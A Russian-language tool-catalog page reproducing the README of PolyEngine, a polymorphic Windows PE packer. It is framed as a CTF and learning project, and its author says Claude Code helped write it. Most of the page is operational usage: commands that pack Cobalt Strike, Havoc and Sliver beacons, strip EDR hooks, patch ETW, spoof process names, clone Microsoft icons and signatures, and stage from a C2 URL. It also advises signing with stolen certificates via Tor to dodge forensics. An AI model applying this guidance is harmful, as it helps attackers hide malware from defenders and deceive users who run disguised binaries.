Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PolyEngine — PolyEngine — это уклоняющийся от обнаружения PE-паковщик, предназначенный для CTF-соревнований и изучения низкоуровневой безопасности Windows. Он фокусируется на обходе эвристик EDR и AV с помощью многоуровневого стека техник выполнения в памяти и обфускации. | Kitploit
Инструменты/GitHubGitHub/longwayhomie/polyengine
Генерация полезной нагрузкиЭксплуатацияОбход IDS/IPSАнализ вредоносных программCTFАнализ Бинарных ФайловОбучение и ОбразованиеRed TeamingАнти-Бот
GitHublongwayhomie/polyengine

PolyEngine

PolyEngine — это уклоняющийся от обнаружения PE-паковщик, предназначенный для CTF-соревнований и изучения низкоуровневой безопасности Windows. Он фокусируется на обходе эвристик EDR и AV с помощью многоуровневого стека техник выполнения в памяти и обфускации.

15420392 месяцев назадПроверено Kitploit
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
# PolyEngine — полиморфный PE-паковщик 📦

**PolyEngine** — это исследовательский PE-паковщик с функциями уклонения, предназначенный для CTF-задач и обучения низкоуровневой безопасности Windows. Он сосредоточен на обходе эвристик EDR и AV с помощью многоуровневого стека методов выполнения в памяти и обфускации.

Это побочный проект, над которым я работаю уже некоторое время. Я использовал Claude Code для реализации и исправления некоторых техник, которые хотел воплотить в своём собственном PE-паковщике. В коде много комментариев о функциях и их назначении, поскольку для меня это был большой опыт обучения, и Claude справляется с этим безупречно (у меня это выходит плохо). Надеюсь, это поможет кому-то изучить внутренности Windows или обойти некоторые AV-сигнатуры и статические детекты более продвинутых решений, когда вы приступите к этим ProLabs 🏯.

🔥 Огромное спасибо [MalDevAcademy](https://maldevacademy.com/) за все материалы для его создания и вдохновение.

🌩 Спасибо [vx-underground](https://x.com/vxunderground) за вдохновение через какой-то забавный твит с глупым котом.

> **Отказ от ответственности:** Этот инструмент предназначен исключительно для авторизованного тестирования безопасности, CTF-соревнований и образовательных целей. Использование против систем без явного разрешения запрещено. Автор не несёт ответственности за неправомерное использование.

---

## Использование

Порядок сборки: **сначала Stub, затем Builder**. Stub Release|x64 создаёт `stub_v0.bin`..`stub_v3.bin`; Builder встраивает один из них в `.rsrc`.

Убедитесь, что `stub_v0.bin`..`stub_v3.bin` находятся в рабочем каталоге (или передайте `--stub`).```
Builder.exe <input> <output> [OPTIONS]

  <input>   Target PE (.exe/.dll) or raw shellcode (.bin)
            Payload type is auto-detected from the MZ header - no flag needed.
  <output>  Output executable

Loader:
  --stub <path>              Loader stub PE  [default: random ./stub_v0.bin..stub_v3.bin]
  --preset PRINT|MEDIA|NETWORK|RANDOM
                             Module stomping DLL preset  [default: PRINT]
  --overload                 Module overloading instead of stomping
                             (NtCreateSection/NtMapViewOfSection, not in PEB LDR)
  --keep-alive               ExitThread(0) instead of ExitProcess
                             (required for C2 implants that spawn their own threads)
  --unhook                   Restore original .text bytes in ntdll/kernel32/
                             kernelbase from \KnownDlls\ clean copies
                             (overwrites EDR inline hooks before any payload syscall)

Payload  (PE/DLL only, silently ignored for shellcode):
  --export <name>            DLL export to invoke after DllMain
  --arg <string>             Argument passed to the export  [max 127 chars]

Evasion  (all ON by default):
  --spoof-name <exe>         Process name for PEB spoof  [default: random from pool]
                             Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe
                                   SearchIndexer.exe taskhostw.exe spoolsv.exe
                                   wlrmdr.exe WMPDMC.exe hvix64.exe
  --exec-ctrl-name <name>    Semaphore name for exec-ctrl check  [default: wuauctl]
                             (max 31 chars)
  --sleep-fwd-ms <ms>        Sleep duration for sleep-fwd check  [default: 500]
                             Detection threshold: 90% of <ms> elapsed
  --uptime-min <minutes>     Uptime threshold for uptime check  [default: 2]
  --hammer-s <seconds>       API-hammer delay duration  [default: 3]
  --disable <token,token...>  Disable one or more features (comma-separated, repeatable)

  OPSEC tokens:
    etw         EtwEventWrite patch (ETW telemetry suppression)
    spoofing    Call-stack spoofing (SilentMoonwalk RSP pivot)
    peb         PEB path/cmdline spoof
    tls         TLS anti-debug callback (patches loader stub before embedding)

  Sandbox/debug check tokens:
    hammer      API-hammer timing delay (VirtualAlloc/Free loop)
    debugger    Debugger detection (PEB flags / NtQueryInformationProcess)
    api-emu     API emulation probe (RtlComputeCrc32 identity check)
    exec-ctrl   Execution-control semaphore (re-execution detection)
    sleep-fwd   Sleep-forwarding detection (timing)
    uptime      System uptime check
    cpu         CPU count check (< 2 logical cores)
    screen      Screen resolution check (<= 1024 px width)
    files       Recent-files count check (< 5 RecentDocs subkeys)
    all         Disable every token listed above

Identity spoofing:
  --pfx <path>               PFX certificate container to sign the output with
  --pfx-pass <password>      PFX passphrase  [omit if PFX has no password]
  --ts-url <url>             RFC 3161 timestamp URL  [default: no timestamping]
                             OPSEC: timestamping reveals build IP/time to the TSA.
                             Enable only when signing from an isolated VM, or when
                             the signature must survive cert revocation.
  --clone-meta <donor.exe>   Clone VERSIONINFO, icon, and Authenticode cert directory
                             from a donor PE (e.g. notepad.exe, OneDrive.exe).
                             Explorer "Details" tab shows donor company/product/version;
                             file icon matches donor; "Digital Signatures" tab shows
                             donor's signer (HashMismatch — defeats visual inspection only).
                             Name output to match donor OriginalFilename field.
                             When combined with --pfx: real signature overwrites cloned cert.
  --uac                      Embed a UAC elevation manifest (requireAdministrator).
                             Output PE prompts for admin privileges on launch.
                             Applied as Phase 10.5 (after packing, before signing).

Examples:
  Builder.exe implant.exe     packed.exe
  Builder.exe implant.exe     packed.exe --stub stub_v2.bin
  Builder.exe shellcode.bin   packed.exe --keep-alive
  Builder.exe beacon.dll      packed.exe --export Start --keep-alive
  Builder.exe payload.dll     packed.exe --export Execute --arg "calc.exe"
  Builder.exe implant.exe     packed.exe --preset NETWORK --disable etw,tls
  Builder.exe implant.exe     packed.exe --overload --hammer-s 5 --uptime-min 5
  Builder.exe implant.exe     packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000
  Builder.exe implant.exe     packed.exe --pfx cert.pfx --pfx-pass hunter2
  Builder.exe implant.exe     packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com
  Builder.exe implant.exe     notepad.exe --clone-meta C:\Windows\System32\notepad.exe
  Builder.exe implant.exe     notepad.exe --clone-meta notepad.exe --pfx self.pfx
  Builder.exe implant.exe     packed.exe  --uac
  Builder.exe implant.exe     notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx
```
---

## Примеры

Проработанные примеры, сгруппированные по сценариям. Каждый флаг отключается по желанию (обход включён полностью по умолчанию), поэтому самая простая команда уже использует полный набор возможностей.

<details>
<summary><b>Базовая упаковка — EXE / DLL / shellcode</b></summary>

Упакуйте неуправляемый EXE. Сборщик автоматически определяет заголовок `MZ` и направляет по пути RunPE:```
Builder.exe implant.exe packed.exe
```
Упакуйте сырой позиционно-независимый шеллкод (Cobalt Strike `.bin`, msfvenom `-f raw` и т. д.). Без `MZ` → прямой вызов в распакованный буфер:```
Builder.exe beacon.bin packed.exe
```
Упакуйте DLL и вызовите только её стандартный `DllMain` (без экспорта):```
Builder.exe payload.dll packed.exe
```
Используйте заглушку из нестандартного расположения:```
Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin
```
</details>

<details>
<summary><b>DLL-пейлоады с экспортами - Havoc / Sliver / кастомные биконы</b></summary>

Вызовите именованный экспорт после возврата из `DllMain`. Большинство C2-имплантов поставляются в виде DLL с единственным экспортом точки входа (например, Havoc Demon: `Start`, Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive
```
Передайте строковый аргумент в экспорт (максимум 127 символов). Полезно для полезных нагрузок, принимающих строку конфигурации, URL или shell-команду:```
Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage"
Builder.exe loader.dll packed.exe --export Run --arg "C:\\Windows\\System32\\calc.exe"
```
`--keep-alive` требуется для любой полезной нагрузки, которая порождает собственные потоки — без него загрузчик вызывает `ExitProcess` и убивает бикон.

</details>

<details>
<summary><b>Долгоживущие импланты (C2-биконы)</b></summary>

Cobalt Strike / Sliver / Havoc порождают поток бикона и возвращаются. Поток загрузчика должен завершиться, не останавливая процесс:```
Builder.exe beacon.exe   packed.exe --keep-alive
Builder.exe beacon.bin   packed.exe --keep-alive
Builder.exe demon.dll    packed.exe --export Start --keep-alive
```
</details>

<details>
<summary><b>Пресеты Module stomping — выбор host DLL</b></summary>

Заглушка расшифровщика скрыта внутри секции `.text` безвредной Windows DLL. Выберите пресет, чьи загруженные модули выглядят наиболее легитимно для целевого контекста:```
Builder.exe implant.exe packed.exe --preset PRINT
Builder.exe implant.exe packed.exe --preset MEDIA
Builder.exe implant.exe packed.exe --preset NETWORK
Builder.exe implant.exe packed.exe --preset RANDOM
```
`PRINT` (по умолчанию) — `xpsservices.dll`, `msi.dll`, `dbghelp.dll`. Распространены на большинстве рабочих станций.
`NETWORK` — `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`. Подходит для полезной нагрузки, которой уже требуются сетевые API.
`RANDOM` — три случайных индекса из полного пула (включая `bcrypt.dll`, индекс 9).

Переключение с затирания через `LoadLibraryW` на перегрузку через `NtCreateSection`+`NtMapViewOfSection` (DLL никогда не попадает в `PEB.Ldr`):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
```
</details>

<details>
<summary><b>Снятие хуков EDR в пользовательском режиме</b></summary>

Восстановите чистые байты `.text` для `ntdll`, `kernel32`, `kernelbase` из `\KnownDlls\` поверх любых инлайн-хуков EDR. HellsHall уже обходит важные хуки `Nt*`; параметр `--unhook` нужен только тогда, когда сама полезная нагрузка вызывает хукируемые Win32 API (например, `LoadLibrary`, `CreateProcess`):```
Builder.exe implant.exe packed.exe --unhook
Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive
```
</details>

<details>
<summary><b>PEB-спуфинг — маскировка процесса</b></summary>

Переопределите автоматически выбранное имя для спуфинга. Выберите что-то, что соответствует родительскому процессу / контексту запуска (макрос Office → `RuntimeBroker.exe` выглядит странно, `WmiPrvSE.exe` вписывается лучше):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe
```
Имя подделки — это просто ASCII-имя файла: Stub добавляет `C:\Windows\System32\` в начале во время выполнения. Всё, что не входит в стандартный пул из 9 процессов, тоже работает.

</details>

<details>
<summary><b>Настройка порогов обхода обнаружения</b></summary>

Более длинная задержка молота для терпеливых песочниц, которые работают десятки секунд перед оценкой:```
Builder.exe implant.exe packed.exe --hammer-s 10
```
Более высокий порог аптайма — запускать только если система работает не менее 30 минут (большинство песочниц поднимают свежую VM для каждого образца):```
Builder.exe implant.exe packed.exe --uptime-min 30
```
Более строгое обнаружение перемотки сна (более короткий сон, сложнее перемотать вперёд без наблюдаемой ошибки):```
Builder.exe implant.exe packed.exe --sleep-fwd-ms 200
```
Пользовательское имя семафора для проверки контроля выполнения (избегает конфликта с другим образцом, использующим стандартный `wuauctl`):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync
```
Соберите всё для параноидального профиля:```
Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate
```
</details>

<details>
<summary><b>Отключение функций для отладки / лабораторной работы</b></summary>

При работе в отладчике TLS-обратный вызов и проверки отладчика срабатывают немедленно. Отключите оба, чтобы свободно подключаться:```
Builder.exe implant.exe packed.exe --disable tls,debugger
```
Пропустить все проверки песочницы (функции OPSEC при этом остаются включёнными - ETW patch, PEB spoof, call-stack spoof):```
Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files
```
То же самое, короче:```
Builder.exe implant.exe packed.exe --disable all
```
Отключите отдельные функции OPSEC (например, когда целевой среде не требуется патчинг ETW, или подмена PEB ломает полезную нагрузку, которая обходит собственный PEB):```
Builder.exe implant.exe packed.exe --disable etw
Builder.exe implant.exe packed.exe --disable peb,spoofing
```
`--disable all` охватывает только проверки песочницы/отладки. Токены OPSEC (`etw`, `spoofing`, `peb`, `tls`) должны быть перечислены явно.

</details>

<details>
<summary><b>Клонирование идентичности — VERSIONINFO, иконка, сертификат Authenticode</b></summary>

Скопируйте косметическую идентичность любого донорского PE-файла в упакованный вывод. Свойства Проводника, значок на панели задач и вкладка «Цифровые подписи» выходного двоичного файла отражают донора:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"
```
Что клонируется:
- **VERSIONINFO** (`RT_VERSION`) — вкладка «Свойства → Подробно» в Проводнике: компания, название продукта, версия файла, авторские права. Копируются все идентификаторы языков, присутствующие в доноре.
- **Иконка** (`RT_GROUP_ICON` + `RT_ICON`) — группа иконок с наименьшим ID (та, которую Проводник использует для иконки оболочки). Панель задач, alt-tab и окно файлового менеджера — везде отображается иконка донора.
- **Каталог сертификатов Authenticode** — исходный блок `WIN_CERTIFICATE` PKCS#7 добавляется в конец файла с выравниванием по 8 байтам. Вкладка «Свойства → Цифровые подписи» в Проводнике показывает подписанта донора (например, `Microsoft Windows`). `Get-AuthenticodeSignature` возвращает `Status = HashMismatch` — подпись структурно валидна, но хэш покрывает байты донора, а не наши. Защищает от небрежной визуальной проверки; любой настоящий верификатор (`signtool verify`, `WinVerifyTrust`, антивирусные движки) обнаруживает несоответствие.

**OPSEC — OriginalFilename:** в VERSIONINFO донора встроен `OriginalFilename` (например, `notepad.exe`). Некоторые проверки подписи и эвристики Defender помечают несоответствие между `OriginalFilename` и фактическим именем файла на диске. Назовите выходной файл соответствующим образом:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe
```
**Комбинация с `--pfx`:** когда присутствуют оба флага, этап 11 (клонирование) выполняется перед этапом 12 (подпись). Настоящая подпись перезаписывает каталог клонированного сертификата; VERSIONINFO и значок сохраняются. `Get-AuthenticodeSignature` показывает ваш сертификат как действительный, а не сертификат донора с несовпадающим хэшем:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**Проверка:**```powershell
# Fake cert clone (no --pfx): expect HashMismatch, donor signer
Get-AuthenticodeSignature .\notepad.exe | Format-List *

# Real signature (--pfx): expect Valid, your cert
Get-AuthenticodeSignature .\notepad.exe | Format-List *

# signtool independent check
signtool verify /pa /v notepad.exe
```
</details>

<details>
<summary><b>Повышение прав UAC — манифест requireAdministrator</b></summary>

Встраивайте манифест `requestedExecutionLevel="requireAdministrator"`, чтобы результирующий PE при запуске вызывал запрос UAC и получал маркер высокой целостности, если пользователь подтверждает действие:```
Builder.exe implant.exe packed.exe --uac
```
Манифест представляет собой ресурс `RT_MANIFEST` (идентификатор ресурса 1 — `CREATEPROCESS_MANIFEST_RESOURCE_ID`), тот же слот, который загрузчик Windows проверяет на наличие манифестов совместимости приложений и привилегий. В остальном выходные данные идентичны сборке без `--uac`; никаких изменений в путь Stub или payload не вносится.

**Сочетание с `--clone-meta` и `--pfx`:** Этап 10.5 (манифест) выполняется перед Этапом 11 (клонирование) и Этапом 12 (подпись). Подпись Authenticode, вычисленная на Этапе 12, покрывает все встроенные ресурсы, включая манифест — хэш действителен для конечного двоичного файла. Диалоговое окно UAC показывает имя издателя из сертификата подписи:```
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**OPSEC:** запрос UAC — это видимое, заметное пользователю событие. Диалог «Разрешить этому приложению вносить изменения на вашем устройстве?» отображает имя файла на диске и издателя Authenticode (или «Неизвестный издатель», если файл не подписан). Комбинируйте `--uac` с `--clone-meta`, чтобы показать знакомую иконку, и `--pfx`, чтобы показать достоверного издателя. Для автоматического выполнения, которое уже запускается из процесса с повышенными привилегиями (например, служба, WMI lateral movement, локальная оболочка администратора), `--uac` не требуется.

</details>

<details>
<summary><b>Подпись Authenticode (PFX, без signtool)</b></summary>

Подпишите упакованный результат сертификатом PFX. Builder взаимодействует напрямую с `mssign32!SignerSignEx2` — не требуется `signtool.exe` на рабочей станции оператора и не требуется инструмент подписи Windows SDK:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
```
PFX без пароля (полностью опустите флаг `--pfx-pass`):```
Builder.exe implant.exe packed.exe --pfx cert.pfx
```
Добавьте метку времени RFC 3161, чтобы подпись оставалась действительной после истечения срока действия сертификата или его отзыва. Учтите, что центр меток времени регистрирует IP-адрес сборки и точный момент подписания — см. примечание по OPSEC ниже:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1
```
**OPSEC — когда пропускать метку времени:** `--ts-url` подключается по желанию. Каждый запрос к публичному TSA заносит хост сборки оператора в HTTP-логи TSA вместе с точной секундой создания подписи — это создаёт сильную криминалистическую корреляцию, если сэмпл позже всплывёт при реагировании на инцидент. Встраивание метки времени также фиксирует этот самый момент в блоке подписи внутри упакованного PE-файла, где любой последующий аналитик сможет его прочитать. Когда метка времени не требуется (обычно для самоподписанных сертификатов или краткосрочных операций, где действительность подписи после истечения срока сертификата не имеет значения), опустите флаг — и подпись останется полностью автономной и изолированной от сети.

**OPSEC — когда оставить метку времени:** украденные или короткоживущие сертификаты подписи кода, которые будут отозваны, выигрывают от контрассигнации TSA — Windows принимает подпись после отзыва, если метка времени предшествует записи об отзыве. В таком случае подписывайте из изолированной ВМ через прокси / Tor и рассматривайте логи TSA как намеренное (но ограниченное) раскрытие.

Приватный ключ никогда не сохраняется на диске: `PFXImportCertStore` вызывается с `PKCS12_NO_PERSIST_KEY`, поэтому контейнер ключа не появляется в `%APPDATA%\Microsoft\Crypto`. Хеширование SHA-256, предпочтительный KSP в CNG для совместимости с PFX, созданными `New-SelfSignedCertificate` и OpenSSL ≥3.x.

</details>

<details>
<summary><b>Реалистичные комбинации</b></summary>

DLL-бикон Cobalt Strike, host с сетевой тематикой, полный обход средств защиты, собственное имя мьютекса:```
Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate
```
Havoc Demon shellcode, перегрузка вместо затирания, увеличенная задержка hammer:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6
```
Stage-2 EXE для CTF, где вы контролируете триггер и антиотладка не нужна:```
Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger
```
Вспомогательная DLL для латерального перемещения с аргументом пути:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook
```
Долгосрочный имплант, замаскированный под обычный бинарный файл Microsoft, полный стек обхода защиты:```
Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10
```
Упакованный образец с настоящим самоподписанным сертификатом + соответствующая идентичность VERSIONINFO:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test
```
</details>

---

## Сборка

**Только Visual Studio 2022 (MSVC v143), Release|x64.** Откройте `PolyEngine.sln`.

Порядок сборки важен:
1. Проект **Stub** (Release|x64) → MSBuild fan-out создаёт `x64/Release/stub_v0.bin` … `stub_v3.bin` (`POLY_VARIANT=0..3`)
2. Проект **Builder** → создаёт `Builder/x64/Release/Builder.exe` (или OutDir решения)

Каждый `stub_v*.bin` — это PE с точкой входа линкера `EntryPoint` (без CRT). Варианты различаются порядком OPSEC-фаз и компоновкой decoy/island; HellsHall/Moonwalk остаются общими. Builder выбирает один случайным образом из текущей рабочей директории (или через `--stub`), запускает StubMorph, затем встраивает полезную нагрузку под ID RT_RCDATA, уникальным для каждой сборки.

MASM: `Stub.vcxproj` → `HellsHall.asm`; Builder → `Engine/DecryptorStub.asm`. Ни CMake, ни Makefile.

**Чтобы добавить новый хэш API:** вычислите `Djb2HashA("ApiName")` (тот же алгоритм, что в `ApiHashing.cpp`), добавьте глобальную переменную `g_Hash_*` в `ApiHashing.h`, инициализируйте её в `ApiHashing_InitHashes()`.

---

## Обзор архитектуры

Три компонента реализуют конвейер **упаковка → шифрование → внедрение**: **Builder** упаковывает входной PE/shellcode, **Engine** (общая библиотека) предоставляет примитивы криптографии/сжатия/мутации, **Stub** — исполнитель времени выполнения, встраиваемый в выходной PE.

<details>
<summary>Подробный конвейер + поток выполнения Stub</summary>```
Builder.exe
  ├── picks loader stub (random stub_v0..v3.bin, or --stub <path>)
  ├── reads target PE or raw shellcode (.bin)
  ├── LZNT1 compress
  ├── CompoundEncrypt (inner cipher: XOR+ROL+ADD+XOR, per-build key)
  ├── MutationEngine → unique polymorphic ASM decryptor per build
  ├── CryptGenRandom → per-build XTEA key salt + DLL preset indices
  ├── XTEA-CTR encrypt (outer layer)
  ├── BuildInfectedPE:
  │     ├── patch TLS guard marker (--disable tls)
  │     ├── patch g_PayloadResIdMarker → per-build RT_RCDATA ID
  │     ├── StubMorph_Apply → timestamp, section-name profile, island/tag randomize
  │     ├── write stub → output PE
  │     └── UpdateResource(RT_RCDATA, id) → [XTEA blob | 280-byte metadata]
  ├── (optional) UAC manifest / clone-meta / Authenticode sign
  └── Output.exe

Output.exe (= stub_v* variant + StubMorph + .rsrc payload)
  ├── Loader_InitApis          — ApiHashing_InitHashes + resolve kernel32 APIs
  ├── Loader_LoadPayload       — GetPayloadFromResource (280-byte metadata / opsecFlags)
  ├── Loader_Evasion           — HammerDelay + RunChecks (Win32 only, before syscalls)
  ├── Loader_InitSyscalls      — FreshyCalls SSN sort + InitNtApi (HellsHall bind)
  ├── Loader_OpsecPhase        — order depends on POLY_VARIANT (0..3):

---

[Read more](https://github.com/longwayhomie/polyengine)
Скачать инструмент